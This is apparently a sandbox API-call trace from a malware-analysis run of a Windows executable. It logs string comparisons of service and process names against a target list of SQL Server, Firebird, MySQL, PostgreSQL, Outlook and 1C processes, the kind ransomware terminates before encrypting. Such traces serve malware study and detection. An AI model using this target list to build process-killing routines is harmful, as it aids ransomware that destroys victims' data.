	[0094.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0094.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0094.542] lstrlenW (lpString="ProfSvc") returned 7
	[0094.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0094.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0094.542] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0094.542] lstrlenW (lpString="RpcEptMapper") returned 12
	[0094.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0094.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0094.542] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0094.542] lstrlenW (lpString="RpcSs") returned 5
	[0094.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0094.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0094.543] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0094.543] lstrlenW (lpString="SamSs") returned 5
	[0094.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0094.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0094.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0094.543] lstrlenW (lpString="Schedule") returned 8
	[0094.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0094.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0094.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0094.543] lstrlenW (lpString="SENS") returned 4
	[0094.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0094.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0094.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0094.543] lstrlenW (lpString="ShellHWDetection") returned 16
	[0094.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0094.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0094.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0094.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0094.543] lstrlenW (lpString="Spooler") returned 7
	[0094.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0094.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0094.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0094.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0094.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0094.544] lstrlenW (lpString="SysMain") returned 7
	[0094.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0094.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0094.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0094.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0094.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0094.544] lstrlenW (lpString="Themes") returned 6
	[0094.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0094.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0094.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0094.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0094.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0094.544] lstrlenW (lpString="TrkWks") returned 6
	[0094.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0094.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0094.544] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0094.544] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0094.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0094.551] lstrlenW (lpString="UxSms") returned 5
	[0094.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0094.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0094.551] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0094.551] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0094.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0094.551] lstrlenW (lpString="WdiServiceHost") returned 14
	[0094.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0094.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0094.551] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0094.551] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0094.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0094.551] lstrlenW (lpString="WdiSystemHost") returned 13
	[0094.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0094.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0094.551] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0094.551] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0094.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0094.551] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0094.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0094.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0094.551] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0094.552] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0094.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0094.552] lstrlenW (lpString="Winmgmt") returned 7
	[0094.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0094.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0094.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0094.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0094.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0094.552] lstrlenW (lpString="WPDBusEnum") returned 10
	[0094.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0094.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0094.552] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0094.552] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0094.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0094.552] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ee030 | out: hHeap=0x4a0000) returned 1
	[0094.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4
	[0094.554] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0094.555] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0094.556] lstrlenW (lpString="System") returned 6
	[0094.556] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0094.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0094.556] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0094.556] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0094.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0094.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0094.556] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0094.556] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0094.557] lstrlenW (lpString="smss.exe") returned 8
	[0094.557] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0094.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0094.557] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0094.557] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0094.557] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0094.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0094.557] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0094.557] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0094.558] lstrlenW (lpString="csrss.exe") returned 9
	[0094.558] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0094.558] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0094.558] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0094.558] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0094.558] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0094.558] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0094.558] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0094.558] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0094.559] lstrlenW (lpString="wininit.exe") returned 11
	[0094.559] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0094.559] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0094.559] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0094.559] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0094.559] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0094.559] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0094.559] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0094.559] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0094.560] lstrlenW (lpString="csrss.exe") returned 9
	[0094.560] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0094.560] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0094.560] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0094.560] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0094.560] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0094.560] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0094.560] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0094.561] lstrlenW (lpString="winlogon.exe") returned 12
	[0094.561] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0094.561] lstrlenW (lpString="services.exe") returned 12
	[0094.561] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0094.562] lstrlenW (lpString="lsass.exe") returned 9
	[0094.562] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0094.563] lstrlenW (lpString="lsm.exe") returned 7
	[0094.563] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0094.564] lstrlenW (lpString="svchost.exe") returned 11
	[0094.564] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0094.564] lstrlenW (lpString="svchost.exe") returned 11
	[0094.564] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0094.565] lstrlenW (lpString="svchost.exe") returned 11
	[0094.565] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0094.566] lstrlenW (lpString="svchost.exe") returned 11
	[0094.566] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0094.567] lstrlenW (lpString="svchost.exe") returned 11
	[0094.567] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0094.568] lstrlenW (lpString="audiodg.exe") returned 11
	[0094.568] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0094.568] lstrlenW (lpString="svchost.exe") returned 11
	[0094.568] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0094.569] lstrlenW (lpString="svchost.exe") returned 11
	[0094.569] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0094.570] lstrlenW (lpString="dwm.exe") returned 7
	[0094.570] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0094.571] lstrlenW (lpString="explorer.exe") returned 12
	[0094.571] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0094.572] lstrlenW (lpString="spoolsv.exe") returned 11
	[0094.572] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0094.573] lstrlenW (lpString="taskhost.exe") returned 12
	[0094.573] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0094.573] lstrlenW (lpString="svchost.exe") returned 11
	[0094.573] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0094.574] lstrlenW (lpString="taskeng.exe") returned 11
	[0094.574] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0094.575] lstrlenW (lpString="taskhost.exe") returned 12
	[0094.575] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0094.576] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0094.576] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0094.577] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0094.577] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0094.577] lstrlenW (lpString="zoo.exe") returned 7
	[0094.577] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0094.578] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0094.578] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0094.579] lstrlenW (lpString="determined.exe") returned 14
	[0094.579] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0094.580] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0094.580] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0094.581] lstrlenW (lpString="hansen mails.exe") returned 16
	[0094.581] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0094.582] lstrlenW (lpString="choirsas.exe") returned 12
	[0094.582] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0095.474] lstrlenW (lpString="skirt_races.exe") returned 15
	[0095.474] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0095.475] lstrlenW (lpString="actors_radius.exe") returned 17
	[0095.475] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0095.476] lstrlenW (lpString="scheduling.exe") returned 14
	[0095.476] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0095.477] lstrlenW (lpString="michael.exe") returned 11
	[0095.477] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0095.478] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0095.478] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0095.479] lstrlenW (lpString="pleasure.exe") returned 12
	[0095.479] Process32NextW (in: hSnapshot=0x1c4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0095.479] lstrlenW (lpString="entering_subsidiary.exe") returned 23
